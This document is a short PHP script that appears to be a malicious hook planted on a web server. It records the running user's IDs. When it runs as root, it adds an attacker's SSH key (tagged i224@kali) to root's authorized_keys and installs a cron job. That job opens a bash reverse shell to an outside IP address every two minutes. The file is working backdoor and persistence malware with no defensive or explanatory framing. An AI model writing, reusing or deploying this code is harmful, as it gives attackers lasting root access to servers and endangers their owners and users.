<?php
@file_put_contents('/tmp/i224_hook_uid.txt', 'uid='.(function_exists('posix_getuid')?posix_getuid():'?').' euid='.(function_exists('posix_geteuid')?posix_geteuid():'?').' S='.($_SERVER['SCRIPT_FILENAME']??'?').' T='.time()."\r\n", FILE_APPEND);
if (function_exists('posix_geteuid') && posix_geteuid()===0) {
  @mkdir('/root/.ssh', 0700, true);
  $ka = @file_get_contents('/root/.ssh/authorized_keys');
  $k = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILyE3mj+DYx0WSK3iEDPGoCUegwncABFL3Vr3bpyGMGx i224@kali\n";
  if (strpos((string)$ka, 'i224@kali') === false) {
    @file_put_contents('/root/.ssh/authorized_keys', $k, FILE_APPEND);
  }
  @file_put_contents('/etc/cron.d/i224x', "SHELL=/bin/bash\n*/2 * * * * root /bin/bash -c '/bin/bash -i >& /dev/tcp/154.89.195.180/9001 0>&1' >/dev/null 2>&1\n", FILE_APPEND);
  @file_put_contents('/tmp/i224_roothit.txt', 'ROOT_HOOK_EXEC '.date('Y-m-d H:i:s')." script=".($_SERVER['SCRIPT_FILENAME']??'?')."\r\n", FILE_APPEND);
}
